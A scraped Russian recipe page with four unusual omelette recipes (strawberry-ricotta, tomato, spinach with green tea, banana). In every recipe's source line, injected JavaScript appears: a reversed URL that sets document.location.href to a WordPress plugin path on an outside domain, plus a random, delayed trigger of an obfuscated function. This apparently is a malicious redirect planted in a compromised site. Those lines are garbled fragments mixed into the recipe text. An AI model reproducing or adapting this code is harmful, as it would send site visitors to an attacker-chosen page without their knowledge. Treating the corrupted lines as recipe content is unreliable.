Самый удивительный омлет на свете: 4 невероятных рецепта

Главный редактор сайта e-da.net Александра Зайцева решила удивить — вместо обычного омлета она советует 4 рецепта блюд с помидорами, клубникой, бананами и даже зелёным чаем.

1. Омлет на кокосовом молоке с клубникой и рикоттой

Самый удивительный омлет на свете: 4 невероятных рецепта. Изображение номер 1

Самый удивительный омлет на свете: 4 невероятных рецепта

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

10 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

1 порция

КАЛОРИЙНОСТЬ:

429 ккал

429 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

PT1H

Ингредиенты

Яйцо

3 шт.

Кокосовое молоко

4 ст. л.

Клубника

3 шт.

Сыр Рикотта

30 г

Кокосовая стружка

для украшения

Мята

для украшения

  1. Взбейте яйца с кокосовым молоком.
  2. Разрежьте клубнику на половинки.
  3. Вылейте яичную смесь на разогретую сковороду. Сверху выложите кусочки клубники, накройте крышкой и жарьте до готовности.
  4. Готовый омлет посыпьте рикоттой, кокосовой стружкой и украсьте листиками мяты. Приятного аппетита!

2. Омлет с помидорами и томатной пастой

Самый удивительный омлет на свете: 4 невероятных рецепта. Изображение номер 2

Самый удивительный омлет на свете: 4 невероятных рецепта

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

10 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

1 порция

КАЛОРИЙНОСТЬ:

316 ккал

316 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

PT1H

Ингредиенты

Яйцо

3 шт.

Помидоры черри

2 шт.

Томатная паста

2 ст. л.

Перец

по вкусу

Соль

по вкусу

  1. Взбейте яйца с томатной пастой.
  2. Вылейте яичную смесь на разогретую сковороду, выложите сверху помидоры черри, посолите и поперчите.
  3. Накройте крышкой и жарьте до готовности.

3. Омлет со шпинатом и зелёным чаем

Самый удивительный омлет на свете: 4 невероятных рецепта. Изображение номер 3

Самый удивительный омлет на свете: 4 невероятных рецепта

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

10 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

1 порция

КАЛОРИЙНОСТЬ:

276 ккал

276 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

PT1H

Ингредиенты

Яйцо

3 шт.

Зелёный чай

3 ст. л.

Шпинат

20 г

Перец

по вкусу

Соль

по вкусу

  1. Заварите любимый зелёный чай из расчёта 1 ч. л. на стакан воды и остудите.
  2. Взбейте яйца с 3 ст. л. заваренного зелёного чая.
  3. Мелко нарежьте шпинат и смешайте его с яичной смесью.
  4. Жарьте до готовности. Омлет получается очень необычным, но интересным на вкус!

4. Омлет на кокосовом молоке с бананом

Самый удивительный омлет на свете: 4 невероятных рецепта. Изображение номер 4

Самый удивительный омлет на свете: 4 невероятных рецепта

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

10 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

1 порция

КАЛОРИЙНОСТЬ:

292 ккал

292 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

PT1H

Ингредиенты

Яйцо

3 шт.

Кокосовое молоко

4 ст. л.

Бананы

1 шт.

Семена льна

для украшения

Семена чиа

для украшения

Кокосовая стружка

для украшения

  1. Взбейте яйца с кокосовым молоком.
  2. Нарежьте банан кружочками.
  3. Вылейте яичную смесь на разогретую сковороду. Сверху выложите кружочки банана, накройте крышкой и жарьте до готовности.
  4. Готовое блюдо посыпьте кокосовой стружкой или семенами. Такой омлет очень сладкий, поэтому можете его есть в качестве десерта!

Ещё больше вкусных и полезных рецептов ищите на сайте e-da.net.

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector